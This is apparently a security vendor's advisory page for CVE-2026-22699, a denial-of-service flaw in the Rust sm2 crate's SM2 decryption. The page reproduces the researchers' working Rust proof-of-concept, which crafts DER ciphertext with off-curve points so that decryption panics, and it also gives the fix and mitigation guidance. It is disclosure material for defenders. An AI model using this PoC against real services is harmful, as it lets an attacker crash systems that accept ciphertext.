CVE-2026-22699 is a high-severity (CVSS 7.5) Improper Input Validation vulnerability in sm2. No vendor fix is recorded yet; mitigation options are listed below.
RustCrypto SM2-PKE has Unchecked AffinePoint Decoding (unwrap) in decrypt()
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-22699.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
CVE-2026-22699 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 377,333 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
sm2Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects crates.io packages — download data is not available via public APIs for these ecosystems.
Description
Summary
A denial-of-service vulnerability exists in the SM2 PKE decryption path where an invalid elliptic-curve point (C1) is decoded and the resulting value is unwrapped without checking. Specifically, AffinePoint::from_encoded_point(&encoded_c1) may return a None/CtOption::None when the supplied coordinates are syntactically valid but do not lie on the SM2 curve. The calling code previously used .unwrap(), causing a panic when presented with such input.
Affected Component / Versions
-
File:
src/pke/decrypting.rs -
Function: internal
decrypt()(invoked byDecryptingKey::decrypt*methods) -
Affected releases:
- sm2 0.14.0-rc.0 (https://crates.io/crates/sm2/0.14.0-rc.0)
- sm2 0.14.0-pre.0 (https://crates.io/crates/sm2/0.14.0-pre.0)
Details
The library decodes the C1 field (an EC point) as an EncodedPoint and then converts it to an AffinePoint using AffinePoint::from_encoded_point(&encoded_c1). That conversion returns a CtOption<AffinePoint> (or an Option equivalent) which will indicate failure when the coordinates do not satisfy the curve equation. The code then called .unwrap() on that result, causing a panic when
None was returned. Because EncodedPoint::from_bytes() only validates format (length and SEC1
encoding) and not mathematical validity, an attacker can craft C1 = 0x04 || X || Y with X and Y of the right length that nonetheless do not satisfy the curve. Such inputs will pass the format check but trigger from_encoded_point() failure and therefore panic on .unwrap().
Proof of Concept (PoC)
examples/poc_der_invalid_point.rs constructs an ASN.1 DER Cipher structure
with x and y set to arbitrary 32-byte values (e.g., repeating 0x11 and 0x22),
and passes it to DecryptingKey::decrypt_der. With the vulnerable code, this
produces a panic originating at the unwrap() call in decrypt(). Other APIs such as DecryptingKey::decrypt also produce a panic with invalid C1 point.
//! PoC: trigger invalid-point panic via `decrypt_der` by providing ASN.1 DER
//! where x/y are valid-length integers but do not lie on the curve.
//!
//! Usage:
//! RUST_BACKTRACE=1 cargo run --example poc_der_invalid_point
use rand_core::OsRng;
use sm2::SecretKey;
use sm2::pke::DecryptingKey;
fn build_der(x: &[u8], y: &[u8], digest: &[u8], cipher: &[u8]) -> Vec<u8> {
// Build SEQUENCE { INTEGER x, INTEGER y, OCTET STRING digest, OCTET STRING cipher }
let mut body = Vec::new();
// INTEGER x
body.push(0x02);
body.push(x.len() as u8);
body.extend_from_slice(x);
// INTEGER y
body.push(0x02);
body.push(y.len() as u8);
body.extend_from_slice(y);
// OCTET STRING digest
body.push(0x04);
body.push(digest.len() as u8);
body.extend_from_slice(digest);
// OCTET STRING cipher
body.push(0x04);
body.push(cipher.len() as u8);
body.extend_from_slice(cipher);
// SEQUENCE header
let mut der = Vec::new();
der.push(0x30);
der.push(body.len() as u8);
der.extend(body);
der
}
fn main() {
let mut rng = OsRng;
let sk = SecretKey::try_from_rng(&mut rng).expect("failed to generate secret key");
let dk = DecryptingKey::new(sk);
// x/y are 32-byte values that almost certainly are NOT on the curve
let x = [0x11u8; 32];
let y = [0x22u8; 32];
let digest = [0x33u8; 32];
let cipher = [0x44u8; 16];
let der = build_der(&x, &y, &digest, &cipher);
println!("Calling decrypt_der with DER (len={})...", der.len());
// Expected to panic in decrypt() when validating the point (from_encoded_point().unwrap())
let _ = dk.decrypt_der(&der);
println!("decrypt_der returned (unexpected) - PoC did not panic");
}
Run locally:
RUST_BACKTRACE=1 cargo run --example poc_der_invalid_point --features std
The process will panic with a backtrace pointing to src/pke/decrypting.rs at the from_encoded_point(...).unwrap() call.
Impact
- Denial of Service: an attacker who can submit ciphertext (or DER ciphertext) can crash the decrypting thread/process.
- Low attacker effort: crafting random 32-byte X/Y values that are not on the curve is trivial.
- Wide exposure: any service that accepts ciphertext and links this library is vulnerable.
Recommended Fix
Do not call .unwrap() on the result of AffinePoint::from_encoded_point().
Instead, convert the CtOption to an Option (or inspect it) and return a
library Err for invalid points. Example minimal fix:
// Return an error instead of panicking when the provided point is not on the curve.
let mut c1_point: AffinePoint = match AffinePoint::from_encoded_point(&encoded_c1).into() {
Some(p) => p,
None => return Err(Error),
};
This ensures decrypt() returns a controlled error for invalid or malformed points instead of panicking.
Credit
This vulnerability was discovered by:
-
XlabAI Team of Tencent Xuanwu Lab
-
Atuin Automated Vulnerability Discovery Engine
CVE and credit are preferred.
If developers have any questions regarding the vulnerability details, please feel free to reach for further discussion via email at [email protected].
Note
This organization follows the security industry standard disclosure policy—the 90+30 policy (reference: https://googleprojectzero.blogspot.com/p/vulnerability-disclosure-policy.html). If the aforementioned vulnerabilities cannot be fixed within 90 days of submission, we reserve the right to publicly disclose all information about the issues after this timeframe.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🦀crates.io | sm2 | ≥ 0.14.0-pre.0 | No fix |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for sm2, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Remediation status
No patched version of sm2 has shipped for CVE-2026-22699 yet. Where your build allows, override or pin the dependency away from the vulnerable range, and apply any maintainer-recommended mitigation.
Mitigate without a patch
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2026-22699 can be triaged on real exposure rather than presence alone.
Tailored to CVE-2026-22699. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is CVE-2026-22699 in your dependencies?
O3 Security finds CVE-2026-22699 across crates.io dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.